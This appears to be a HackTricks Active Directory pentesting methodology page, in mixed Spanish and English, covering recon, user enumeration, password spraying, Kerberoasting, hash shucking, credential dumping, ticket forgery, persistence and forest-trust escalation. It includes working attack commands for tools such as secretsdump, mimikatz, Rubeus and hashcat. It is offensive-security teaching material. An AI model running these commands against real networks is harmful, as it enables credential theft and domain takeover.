Metodología de Active Directory

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Visión general básica

Active Directory sirve como una tecnología fundamental, que permite a los network administrators crear y gestionar de forma eficiente domains, users y objects dentro de una red. Está diseñado para escalar, facilitando la organización de un gran número de usuarios en groups y subgroups manejables, mientras controla los access rights en varios niveles.

La estructura de Active Directory está compuesta por tres capas principales: domains, trees y forests. Un domain comprende una colección de objetos, como users o devices, que comparten una base de datos común. Los trees son grupos de estos domains enlazados por una estructura común, y un forest representa la colección de múltiples trees, interconectados mediante trust relationships, formando la capa superior de la estructura organizativa. Se pueden designar access y communication rights específicos en cada uno de estos niveles.

Conceptos clave dentro de Active Directory incluyen:

  1. Directory – Contiene toda la información relativa a los objetos de Active Directory.
  2. Object – Denota entidades dentro del directory, incluyendo users, groups o shared folders.
  3. Domain – Sirve como contenedor para los directory objects, con la capacidad de que múltiples domains coexistan dentro de un forest, cada uno manteniendo su propia colección de objetos.
  4. Tree – Un agrupamiento de domains que comparten un dominio raíz común.
  5. Forest – El nivel más alto de la estructura organizativa en Active Directory, compuesto por varios trees con trust relationships entre ellos.

Active Directory Domain Services (AD DS) abarca una serie de servicios críticos para la gestión centralizada y la comunicación dentro de una red. Estos servicios comprenden:

  1. Domain Services – Centraliza el almacenamiento de datos y gestiona las interacciones entre users y domains, incluyendo funcionalidades de authentication y search.
  2. Certificate Services – Supervisa la creación, distribución y gestión de digital certificates seguros.
  3. Lightweight Directory Services – Da soporte a aplicaciones habilitadas para directorios mediante el LDAP protocol.
  4. Directory Federation Services – Proporciona capacidades de single-sign-on para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión.
  5. Rights Management – Ayuda a proteger material sujeto a copyright regulando su distribución y uso no autorizado.
  6. DNS Service – Crucial para la resolución de domain names.

For a more detailed explanation check: TechTerms - Active Directory Definition

Kerberos Authentication

To learn how to attack an AD you need to understand really good the Kerberos authentication process.
Read this page if you still don’t know how it works.

Cheat Sheet

Puedes usar https://wadcoms.github.io/ para tener una visión rápida de qué comandos puedes ejecutar para enumerar/exploit un AD.

Warning

La comunicación Kerberos requiere un nombre totalmente calificado (FQDN) para realizar acciones. Si intentas acceder a una máquina por la dirección IP, usará NTLM y no Kerberos.

Recon Active Directory (No creds/sessions)

Si sólo tienes acceso a un entorno AD pero no dispones de credenciales/sesiones, podrías:

  • Pentest the network:
  • Escanear la red, encontrar máquinas y puertos abiertos e intentar exploit vulnerabilities o extract credentials de ellas (por ejemplo, printers could be very interesting targets).
  • La enumeración de DNS podría dar información sobre servidores clave en el domain como web, printers, shares, vpn, media, etc.
  • gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
  • Consulta la guía general de Pentesting Methodology para encontrar más información sobre cómo hacer esto.
  • Check for null and Guest access on smb services (esto no funcionará en versiones modernas de Windows):
  • enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>
  • smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>
  • smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //
  • Una guía más detallada sobre cómo enumerar un servidor SMB puede encontrarse aquí:

139,445 - Pentesting SMB

  • Enumerate Ldap
  • nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>
  • Una guía más detallada sobre cómo enumerar LDAP puede encontrarse aquí (presta especial atención al anonymous access):

389, 636, 3268, 3269 - Pentesting LDAP

Enumeración de usuarios

  • Anonymous SMB/LDAP enum: Consulta las páginas pentesting SMB y pentesting LDAP.
  • Kerbrute enum: Cuando se solicita un username inválido el servidor responderá usando el código de error de Kerberos KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, lo que nos permite determinar que el username no existe. Los usernames válidos provocarán bien un TGT in a AS-REP o el error KRB5KDC_ERR_PREAUTH_REQUIRED, indicando que el usuario está obligado a realizar pre-autenticación.
  • No Authentication against MS-NRPC: Usando auth-level = 1 (No authentication) contra la interfaz MS-NRPC (Netlogon) en domain controllers. El método llama a la función DsrGetDcNameEx2 después de bindear la interfaz MS-NRPC para comprobar si el usuario o equipo existe sin credenciales. La herramienta NauthNRPC implementa este tipo de enumeración. La investigación puede encontrarse here
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>

msf> use auxiliary/gather/kerberos_enumusers

crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
  • Servidor OWA (Outlook Web Access)

Si encuentras uno de estos servidores en la red, también puedes realizar user enumeration contra él. Por ejemplo, podrías usar la herramienta MailSniper:

ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt

Warning

You can find lists of usernames in this github repo and this one (statistically-likely-usernames).

However, you should have the name of the people working on the company from the recon step you should have performed before this. With the name and surname you could used the script namemash.py to generate potential valid usernames.

Knowing one or several usernames

Ok, so you know you have already a valid username but no passwords… Then try:

  • ASREPRoast: If a user doesn’t have the attribute DONT_REQ_PREAUTH you can request a AS_REP message for that user that will contain some data encrypted by a derivation of the password of the user.
  • Password Spraying: Let’s try the most common passwords with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!).
  • Note that you can also spray OWA servers to try to get access to the users mail servers.

Password Spraying / Brute Force

LLMNR/NBT-NS Poisoning

You might be able to obtain some challenge hashes to crack poisoning some protocols of the network:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

NTLM Relay

If you have managed to enumerate the active directory you will have more emails and a better understanding of the network. You might be able to to force NTLM relay attacks to get access to the AD env.

Steal NTLM Creds

If you can access other PCs or shares with the null or guest user you could place files (like a SCF file) that if somehow accessed will trigger an NTLM authentication against you so you can steal the NTLM challenge to crack it:

Places to steal NTLM creds

Hash Shucking & NT-Candidate Attacks

Hash shucking treats every NT hash you already possess as a candidate password for other, slower formats whose key material is derived directly from the NT hash. Instead of brute-forcing long passphrases in Kerberos RC4 tickets, NetNTLM challenges, or cached credentials, you feed the NT hashes into Hashcat’s NT-candidate modes and let it validate password reuse without ever learning the plaintext. This is especially potent after a domain compromise where you can harvest thousands of current and historical NT hashes.

Use shucking when:

  • You have an NT corpus from DCSync, SAM/SECURITY dumps, or credential vaults and need to test for reuse in other domains/forests.
  • You capture RC4-based Kerberos material ($krb5tgs$23$, $krb5asrep$23$), NetNTLM responses, or DCC/DCC2 blobs.
  • You want to quickly prove reuse for long, uncrackable passphrases and immediately pivot via Pass-the-Hash.

The technique does not work against encryption types whose keys are not the NT hash (e.g., Kerberos etype 17/18 AES). If a domain enforces AES-only, you must revert to the regular password modes.

Building an NT hash corpus

  • DCSync/NTDS – Use secretsdump.py with history to grab the largest possible set of NT hashes (and their previous values):
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt

History entries dramatically widen the candidate pool because Microsoft can store up to 24 previous hashes per account. For more ways to harvest NTDS secrets see:

DCSync

  • Endpoint cache dumps – nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa (or Mimikatz lsadump::sam /patch) extracts local SAM/SECURITY data and cached domain logons (DCC/DCC2). Deduplicate and append those hashes to the same nt_candidates.txt list.
  • Track metadata – Keep the username/domain that produced each hash (even if the wordlist contains only hex). Matching hashes tell you immediately which principal is reusing a password once Hashcat prints the winning candidate.
  • Prefer candidates from the same forest or a trusted forest; that maximizes the chance of overlap when shucking.

Hashcat NT-candidate modes

Hash TypePassword ModeNT-Candidate Mode
Domain Cached Credentials (DCC)110031500
Domain Cached Credentials 2 (DCC2)210031600
NetNTLMv1 / NetNTLMv1+ESS550027000
NetNTLMv2560027100
Kerberos 5 etype 23 AS-REQ Pre-Auth7500N/A
Kerberos 5 etype 23 TGS-REP (Kerberoast)1310035300
Kerberos 5 etype 23 AS-REP1820035400

Notes:

  • NT-candidate inputs must remain raw 32-hex NT hashes. Disable rule engines (no -r, no hybrid modes) because mangling corrupts the candidate key material.
  • These modes are not inherently faster, but the NTLM keyspace (~30,000 MH/s on an M3 Max) is ~100× quicker than Kerberos RC4 (~300 MH/s). Testing a curated NT list is far cheaper than exploring the entire password space in the slow format.
  • Always run the latest Hashcat build (git clone https://github.com/hashcat/hashcat && make install) because modes 31500/31600/35300/35400 shipped recently.
  • There is currently no NT mode for AS-REQ Pre-Auth, and AES etypes (19600/19700) require the plaintext password because their keys are derived via PBKDF2 from UTF-16LE passwords, not raw NT hashes.

Example – Kerberoast RC4 (mode 35300)

  1. Capture an RC4 TGS for a target SPN with a low-privileged user (see the Kerberoast page for details):

Kerberoast

GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
  1. Shuck the ticket with your NT list:
hashcat -m 35300 roastable_TGS nt_candidates.txt

Hashcat derives the RC4 key from each NT candidate and validates the $krb5tgs$23$... blob. A match confirms that the service account uses one of your existing NT hashes.

  1. Immediately pivot via PtH:
nxc smb <dc_ip> -u roastable -H <matched_nt_hash>

You can optionally recover the plaintext later with hashcat -m 1000 <matched_hash> wordlists/ if needed.

Example – Cached credentials (mode 31600)

  1. Dump cached logons from a compromised workstation:
nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
  1. Copy the DCC2 line for the interesting domain user into dcc2_highpriv.txt and shuck it:
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
  1. A successful match yields the NT hash already known in your list, proving that the cached user is reusing a password. Use it directly for PtH (nxc smb <dc_ip> -u highpriv -H <hash>) or brute-force it in fast NTLM mode to recover the string.

The exact same workflow applies to NetNTLM challenge-responses (-m 27000/27100) and DCC (-m 31500). Once a match is identified you can launch relay, SMB/WMI/WinRM PtH, or re-crack the NT hash with masks/rules offline.

Enumerating Active Directory WITH credentials/session

For this phase you need to have compromised the credentials or a session of a valid domain account. If you have some valid credentials or a shell as a domain user, you should remember that the options given before are still options to compromise other users.

Before start the authenticated enumeration you should know what is the Kerberos double hop problem.

Kerberos Double Hop Problem

Enumeration

Having compromised an account is a big step to start compromising the whole domain, because you are going to be able to start the Active Directory Enumeration:

Regarding ASREPRoast you can now find every possible vulnerable user, and regarding Password Spraying you can get a list of all the usernames and try the password of the compromised account, empty passwords and new promising passwords.

It’s very easy to obtain all the domain usernames from Windows (net user /domain ,Get-DomainUser or wmic useraccount get name,sid). In Linux, you can use: GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username or enum4linux -a -u "user" -p "password" <DC IP>

Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.

Kerberoast

Kerberoasting involves obtaining TGS tickets used by services tied to user accounts and cracking their encryption—which is based on user passwords—offline.

More about this in:

Kerberoast

Remote connexion (RDP, SSH, FTP, Win-RM, etc)

Once you have obtained some credentials you could check if you have access to any machine. For that matter, you could use CrackMapExec to attempt connecting on several servers with different protocols, accordingly to your ports scans.

Local Privilege Escalation

If you have compromised credentials or a session as a regular domain user and you have access with this user to any machine in the domain you should try to find your way to escalate privileges locally and looting for credentials. This is because only with local administrator privileges you will be able to dump hashes of other users in memory (LSASS) and locally (SAM).

There is a complete page in this book about local privilege escalation in Windows and a checklist. Also, don’t forget to use WinPEAS.

Current Session Tickets

It’s very unlikely that you will find tickets in the current user giving you permission to access unexpected resources, but you could check:

## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

NTLM Relay

Si has logrado enumerar Active Directory tendrás más correos y una mejor comprensión de la red. Podrías ser capaz de forzar NTLM relay attacks.

Busca Creds en Computer Shares | SMB Shares

Ahora que tienes algunas credenciales básicas deberías comprobar si puedes encontrar archivos interesantes compartidos dentro del AD. Podrías hacerlo manualmente pero es una tarea muy aburrida y repetitiva (y más si encuentras cientos de docs que necesitas revisar).

Follow this link to learn about tools you could use.

Steal NTLM Creds

Si puedes acceder a otros PCs o shares podrías colocar archivos (como un SCF file) que si se acceden de alguna forma desencadenarán una autenticación NTLM contra ti para que puedas steal el NTLM challenge y crackearlo:

Places to steal NTLM creds

CVE-2021-1675/CVE-2021-34527 PrintNightmare

Esta vulnerabilidad permitió que cualquier usuario autenticado comprometiera el controlador de dominio.

PrintNightmare

Privilege escalation en Active Directory CON credenciales/sesión privilegiadas

Para las siguientes técnicas un usuario de dominio normal no es suficiente; necesitas privilegios/credenciales especiales para realizar estos ataques.

Hash extraction

Con suerte has logrado comprometer alguna cuenta de admin local usando AsRepRoast, Password Spraying, Kerberoast, Responder incluyendo relaying, EvilSSDP, escalating privileges locally.
Entonces, es momento de volcar todos los hashes en memoria y localmente.
Read this page about different ways to obtain the hashes.

Pass the Hash

Una vez que tienes el hash de un usuario, puedes usarlo para impersonate.
Necesitas usar alguna tool que realice la autenticación NTLM usando ese hash, o podrías crear un nuevo sessionlogon e inyectar ese hash dentro de LSASS, de modo que cuando se realice cualquier autenticación NTLM, ese hash será usado. La última opción es lo que hace mimikatz.
Read this page for more information.

Over Pass the Hash/Pass the Key

Este ataque tiene como objetivo usar el user NTLM hash para solicitar tickets Kerberos, como alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente útil en redes donde el protocolo NTLM está deshabilitado y solo Kerberos está permitido como protocolo de autenticación.

Over Pass the Hash/Pass the Key

Pass the Ticket

En el método de ataque Pass The Ticket (PTT), los atacantes roban el ticket de autenticación de un usuario en lugar de su contraseña o valores de hash. Este ticket robado se utiliza para impersonate al usuario, obteniendo acceso no autorizado a recursos y servicios dentro de una red.

Pass the Ticket

Credentials Reuse

Si tienes el hash o la password de un administrador local deberías intentar login locally en otros PCs con ella.

# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +

Warning

Tenga en cuenta que esto es bastante ruidoso y LAPS lo mitigaría.

MSSQL Abuse & Trusted Links

Si un usuario tiene privilegios para acceder a instancias MSSQL, podría usarlas para ejecutar comandos en el host MSSQL (si se está ejecutando como SA), robar el hash NetNTLM o incluso realizar un relay attack.
Además, si una instancia MSSQL es confiada (enlace de base de datos) por otra instancia MSSQL distinta. Si el usuario tiene privilegios sobre la base de datos confiada, podrá usar la relación de confianza para ejecutar consultas también en la otra instancia. Estas confianzas pueden encadenarse y en algún punto el usuario podría encontrar una base de datos mal configurada donde pueda ejecutar comandos.
Los enlaces entre bases de datos funcionan incluso a través de forest trusts.

MSSQL AD Abuse

IT asset/deployment platforms abuse

Las suites de inventario y despliegue de terceros suelen exponer rutas potentes a credenciales y ejecución de código. Ver:

Sccm Management Point Relay Sql Policy Secrets

Lansweeper Security

Unconstrained Delegation

Si encuentras cualquier objeto Computer con el atributo ADS_UF_TRUSTED_FOR_DELEGATION y tienes privilegios de dominio en el equipo, podrás volcar TGTs desde la memoria de todos los usuarios que inicien sesión en el equipo.
Por lo tanto, si un Domain Admin inicia sesión en el equipo, podrás volcar su TGT e impersonarlo usando Pass the Ticket.
Gracias a constrained delegation podrías incluso comprometer automáticamente un Print Server (con suerte será un DC).

Unconstrained Delegation

Constrained Delegation

Si a un usuario o equipo se le permite “Constrained Delegation” podrá impersonar a cualquier usuario para acceder a algunos servicios en un equipo.
Entonces, si comprometes el hash de este usuario/equipo podrás impersonar a cualquier usuario (incluso Domain Admins) para acceder a ciertos servicios.

Constrained Delegation

Resourced-based Constrain Delegation

Tener privilegio WRITE sobre un objeto de Active Directory de un equipo remoto permite lograr ejecución de código con privilegios elevados:

Resource-based Constrained Delegation

Permissions/ACLs Abuse

El usuario comprometido podría tener algunos privilegios interesantes sobre ciertos objetos de dominio que podrían permitirte moverte lateralmente/escalar privilegios.

Abusing Active Directory ACLs/ACEs

Printer Spooler service abuse

Descubrir un servicio Spool escuchando dentro del dominio puede ser abusado para adquirir nuevas credenciales y escalar privilegios.

Force NTLM Privileged Authentication

Third party sessions abuse

Si otros usuarios acceden a la máquina comprometida, es posible recopilar credenciales desde la memoria e incluso inject beacons en sus procesos para impersonarlos.
Normalmente los usuarios accederán al sistema vía RDP, así que aquí tienes cómo realizar un par de ataques sobre sesiones RDP de terceros:

RDP Sessions Abuse

LAPS

LAPS proporciona un sistema para gestionar la contraseña del Administrador local en equipos unidos al dominio, asegurando que sea aleatoria, única y con cambios frecuentes. Estas contraseñas se almacenan en Active Directory y el acceso se controla mediante ACLs a usuarios autorizados únicamente. Con permisos suficientes para acceder a estas contraseñas, se puede pivotar hacia otros equipos.

LAPS

Certificate Theft

Recopilar certificados desde la máquina comprometida puede ser una forma de escalar privilegios dentro del entorno:

AD CS Certificate Theft

Certificate Templates Abuse

Si se configuran plantillas vulnerables es posible abusar de ellas para escalar privilegios:

AD CS Domain Escalation

Post-exploitation with high privilege account

Dumping Domain Credentials

Una vez que obtienes privilegios de Domain Admin o, mejor aún, Enterprise Admin, puedes volcar la base de datos del dominio: ntds.dit.

More information about DCSync attack can be found here.

More information about how to steal the NTDS.dit can be found here

Privesc as Persistence

Algunas de las técnicas discutidas anteriormente pueden usarse para persistencia.
Por ejemplo, podrías:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r

Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
  • Grant DCSync privileges to a user
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync

Silver Ticket

El Silver Ticket attack crea un Ticket Granting Service (TGS) legítimo para un servicio específico usando el NTLM hash (por ejemplo, el hash de la cuenta del PC). Este método se emplea para acceder a los privilegios del servicio.

Silver Ticket

Golden Ticket

Un Golden Ticket attack implica que un atacante obtenga acceso al hash NTLM de la cuenta krbtgt en un entorno Active Directory (AD). Esta cuenta es especial porque se utiliza para firmar todos los Ticket Granting Tickets (TGTs), que son esenciales para la autenticación dentro de la red AD.

Una vez que el atacante obtiene este hash, puede crear TGTs para cualquier cuenta que desee (Silver ticket attack).

Golden Ticket

Diamond Ticket

Son como golden tickets forjados de una manera que elude los mecanismos comunes de detección de golden tickets.

Diamond Ticket

Certificates Account Persistence

Tener certificados de una cuenta o poder solicitarlos es una muy buena forma de persistir en la cuenta de usuarios (incluso si éste cambia la contraseña):

AD CS Account Persistence

Certificates Domain Persistence

Usar certificados también permite persistir con altos privilegios dentro del dominio:

AD CS Domain Persistence

AdminSDHolder Group

El objeto AdminSDHolder en Active Directory asegura la seguridad de los grupos privilegiados (como Domain Admins y Enterprise Admins) aplicando una lista estándar de Access Control List (ACL) a través de estos grupos para evitar cambios no autorizados. Sin embargo, esta función puede explotarse; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, pensada para proteger, puede volverse contraproducente y permitir acceso no deseado a menos que se supervise de cerca.

More information about AdminDSHolder Group here.

DSRM Credentials

Dentro de cada Domain Controller (DC) existe una cuenta de administrador local. Al obtener derechos de administrador en una de estas máquinas, se puede extraer el hash del Administrador local usando mimikatz. A continuación, es necesaria una modificación en el registro para habilitar el uso de esta contraseña, permitiendo el acceso remoto a la cuenta de Administrador local.

DSRM Credentials

ACL Persistence

Podrías otorgar algunos permisos especiales a un usuario sobre ciertos objetos del dominio que le permitan escalar privilegios en el futuro.

Abusing Active Directory ACLs/ACEs

Security Descriptors

Los security descriptors se usan para almacenar los permisos que un objeto tiene sobre otro objeto. Si puedes simplemente hacer un pequeño cambio en el security descriptor de un objeto, puedes obtener privilegios muy interesantes sobre ese objeto sin necesidad de ser miembro de un grupo privilegiado.

Security Descriptors

Skeleton Key

Alterar LSASS en memoria para establecer una contraseña universal, concediendo acceso a todas las cuentas del dominio.

Skeleton Key

Custom SSP

Learn what is a SSP (Security Support Provider) here.
Puedes crear tu propio SSP para capturar en texto claro las credenciales usadas para acceder a la máquina.

Custom SSP

DCShadow

Registra un nuevo Domain Controller en el AD y lo usa para empujar atributos (SIDHistory, SPNs…) sobre objetos especificados sin dejar ningún log respecto a las modificaciones. Necesitas privilegios DA y estar dentro del root domain.
Ten en cuenta que si usas datos incorrectos, aparecerán logs bastante feos.

DCShadow

LAPS Persistence

Anteriormente hemos hablado de cómo escalar privilegios si tienes suficiente permiso para leer contraseñas LAPS. Sin embargo, estas contraseñas también pueden usarse para mantener persistencia.
Consulta:

LAPS

Forest Privilege Escalation - Domain Trusts

Microsoft considera el Forest como el límite de seguridad. Esto implica que comprometer un solo dominio podría potencialmente llevar a que todo el Forest sea comprometido.

Basic Information

Un domain trust es un mecanismo de seguridad que permite a un usuario de un dominio acceder a recursos en otro dominio. Esencialmente crea un enlace entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios configuran una confianza, intercambian y conservan claves específicas dentro de sus Domain Controllers (DCs), que son cruciales para la integridad de la confianza.

En un escenario típico, si un usuario intenta acceder a un servicio en un dominio confiado, primero debe solicitar un ticket especial conocido como inter-realm TGT al DC de su propio dominio. Este TGT está cifrado con una clave de confianza compartida que ambos dominios han acordado. El usuario entonces presenta este TGT al DC del dominio confiado para obtener un ticket de servicio (TGS). Tras la verificación exitosa del inter-realm TGT por parte del DC del dominio confiado, éste emite un TGS, concediendo al usuario acceso al servicio.

Pasos:

  1. Un equipo cliente en Domain 1 inicia el proceso usando su hash NTLM para solicitar un Ticket Granting Ticket (TGT) a su Domain Controller (DC1).
  2. DC1 emite un nuevo TGT si el cliente se autentica correctamente.
  3. El cliente luego solicita un inter-realm TGT a DC1, que se necesita para acceder a recursos en Domain 2.
  4. El inter-realm TGT está cifrado con una trust key compartida entre DC1 y DC2 como parte de la confianza bidireccional entre dominios.
  5. El cliente lleva el inter-realm TGT al Domain Controller (DC2) de Domain 2.
  6. DC2 verifica el inter-realm TGT usando su trust key compartida y, si es válido, emite un Ticket Granting Service (TGS) para el servidor en Domain 2 al que el cliente quiere acceder.
  7. Finalmente, el cliente presenta este TGS al servidor, el cual está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en Domain 2.

Different trusts

Es importante notar que una confianza puede ser de 1 vía o de 2 vías. En la opción de 2 vías, ambos dominios confiarán entre sí, pero en la relación de confianza de 1 vía uno de los dominios será el trusted y el otro el trusting. En este último caso, solo podrás acceder a recursos dentro del trusting domain desde el trusted.

Si Domain A confía en Domain B, A es el trusting domain y B es el trusted. Además, en Domain A, esto sería un Outbound trust; y en Domain B, esto sería un Inbound trust.

Diferentes relaciones de confianza

  • Parent-Child Trusts: Esta es una configuración común dentro del mismo forest, donde un dominio hijo automáticamente tiene una confianza transitiva bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo.
  • Cross-link Trusts: Conocidas como “shortcut trusts”, se establecen entre dominios hijos para acelerar los procesos de referencia. En forests complejos, las referencias de autenticación normalmente tienen que viajar hasta la raíz del forest y luego bajar al dominio objetivo. Al crear cross-links, el recorrido se acorta, lo cual es especialmente beneficioso en entornos geográficamente dispersos.
  • External Trusts: Se configuran entre dominios diferentes y no relacionados, y son no transitivas por naturaleza. Según la documentación de Microsoft, las external trusts son útiles para acceder a recursos en un dominio fuera del forest actual que no esté conectado por una forest trust. La seguridad se refuerza mediante SID filtering con external trusts.
  • Tree-root Trusts: Estas confianzas se establecen automáticamente entre el dominio raíz del forest y un nuevo tree root añadido. Aunque no son comunes, las tree-root trusts son importantes para añadir nuevos árboles de dominio a un forest, permitiéndoles mantener un nombre de dominio único y asegurando transitividad bidireccional.
  • Forest Trusts: Este tipo de confianza es una confianza transitiva bidireccional entre dos dominios raíz de forest, también aplicando SID filtering para mejorar las medidas de seguridad.
  • MIT Trusts: Estas confianzas se establecen con dominios Kerberos no Windows compatibles con RFC4120. Las MIT trusts son un poco más especializadas y atienden a entornos que requieren integración con sistemas Kerberos fuera del ecosistema Windows.

Other differences in trusting relationships

  • Una relación de confianza también puede ser transitiva (A confía en B, B confía en C, entonces A confía en C) o no transitiva.
  • Una relación de confianza puede configurarse como bidirectional trust (ambos se confían mutuamente) o como one-way trust (solo uno confía en el otro).

Attack Path

  1. Enumera las relaciones de confianza
  2. Comprueba si algún security principal (usuario/grupo/computadora) tiene acceso a recursos del otro dominio, tal vez por entradas ACE o por pertenecer a grupos del otro dominio. Busca relaciones a través de dominios (probablemente la confianza se creó para esto).
  3. kerberoast in this case could be another option.
  4. Compromete las cuentas que puedan pivotar entre dominios.

Los atacantes pueden acceder a recursos en otro dominio a través de tres mecanismos principales:

  • Local Group Membership: Principales podrían añadirse a grupos locales en máquinas, como el grupo “Administrators” en un servidor, otorgándoles control significativo sobre esa máquina.
  • Foreign Domain Group Membership: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y del alcance del grupo.
  • Access Control Lists (ACLs): Los principales podrían estar especificados en una ACL, particularmente como entidades en ACEs dentro de una DACL, otorgándoles acceso a recursos específicos. Para quienes deseen profundizar en los mecanismos de ACLs, DACLs y ACEs, el whitepaper titulado “An ACE Up The Sleeve” es un recurso invaluable.

Find external users/groups with permissions

Puedes comprobar CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com para encontrar foreign security principals en el dominio. Estos serán usuarios/grupos de un dominio/forest externo.

Puedes comprobar esto en Bloodhound o usando powerview:

# Get users that are i groups outside of the current domain
Get-DomainForeignUser

# Get groups inside a domain with users our
Get-DomainForeignGroupMember

Escalada de privilegios de bosque de hijo a padre

# Fro powerview
Get-DomainTrust

SourceName      : sub.domain.local    --> current domain
TargetName      : domain.local        --> foreign domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST       --> WITHIN_FOREST: Both in the same forest
TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
WhenCreated     : 2/19/2021 1:28:00 PM
WhenChanged     : 2/19/2021 1:28:00 PM

Otras formas de enumerar domain trusts:

# Get DCs
nltest /dsgetdc:<DOMAIN>

# Get all domain trusts
nltest /domain_trusts /all_trusts /v

# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

Warning

Hay 2 trusted keys, una para Child –> Parent y otra para Parent –> Child.
Puedes comprobar cuál usa el dominio actual con:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

SID-History Injection

Escalate as Enterprise admin to the child/parent domain abusing the trust with SID-History injection:

SID-History Injection

Exploit writeable Configuration NC

Entender cómo se puede explotar el Configuration Naming Context (NC) es crucial. El Configuration NC sirve como un repositorio central de datos de configuración a través de un forest en entornos de Active Directory (AD). Estos datos se replican a todos los Domain Controller (DC) dentro del forest, y los DCs con escritura mantienen una copia escribible del Configuration NC. Para explotar esto, se necesitan privilegios SYSTEM en un DC, preferiblemente un DC hijo.

Link GPO to root DC site

El contenedor Sites del Configuration NC incluye información sobre los sites de todos los equipos unidos al dominio dentro del forest de AD. Operando con privilegios SYSTEM en cualquier DC, los atacantes pueden vincular GPOs a los sites del DC raíz. Esta acción potencialmente compromete el dominio raíz al manipular las políticas aplicadas a esos sites.

Para información más detallada, puede consultarse la investigación sobre Bypassing SID Filtering.

Compromise any gMSA in the forest

Un vector de ataque implica apuntar a gMSAs privilegiadas dentro del dominio. La KDS Root key, esencial para calcular las contraseñas de los gMSA, se almacena dentro del Configuration NC. Con privilegios SYSTEM en cualquier DC, es posible acceder a la KDS Root key y calcular las contraseñas de cualquier gMSA en todo el forest.

Detailed analysis and step-by-step guidance can be found in:

Golden Dmsa Gmsa

Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):

Badsuccessor Dmsa Migration Abuse

Additional external research: Golden gMSA Trust Attacks.

Schema change attack

Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios SYSTEM, un atacante puede modificar el AD Schema para otorgar a cualquier usuario control total sobre todas las clases. Esto podría conducir a acceso y control no autorizados sobre los objetos AD recién creados.

Further reading is available on Schema Change Trust Attacks.

From DA to EA with ADCS ESC5

La vulnerabilidad ADCS ESC5 apunta al control sobre objetos de Public Key Infrastructure (PKI) para crear una plantilla de certificado que permite autenticarse como cualquier usuario dentro del forest. Como los objetos PKI residen en el Configuration NC, comprometer un DC hijo escribible permite la ejecución de ataques ESC5.

